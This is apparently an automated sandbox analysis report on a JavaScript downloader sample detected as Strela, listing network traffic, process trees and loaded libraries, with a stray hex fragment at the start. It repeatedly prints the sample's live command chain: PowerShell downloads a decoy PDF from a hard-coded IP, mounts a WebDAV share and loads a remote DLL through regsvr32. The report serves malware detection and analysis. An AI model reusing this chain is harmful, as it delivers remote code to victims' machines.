45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.7:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1286710390.0000021B4EDA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1382360863.000001D062798000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1382360863.000001D0627F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: net.exe, 0000000C.00000002.1382360863.000001D062798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 0000000E.00000002.2565260537.0000024D79400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1364988349.0000024D792F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6776, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 884736801811116482.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wtoku40l.r35.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,4454574699079449668,5851502014699719329,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,4454574699079449668,5851502014699719329,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
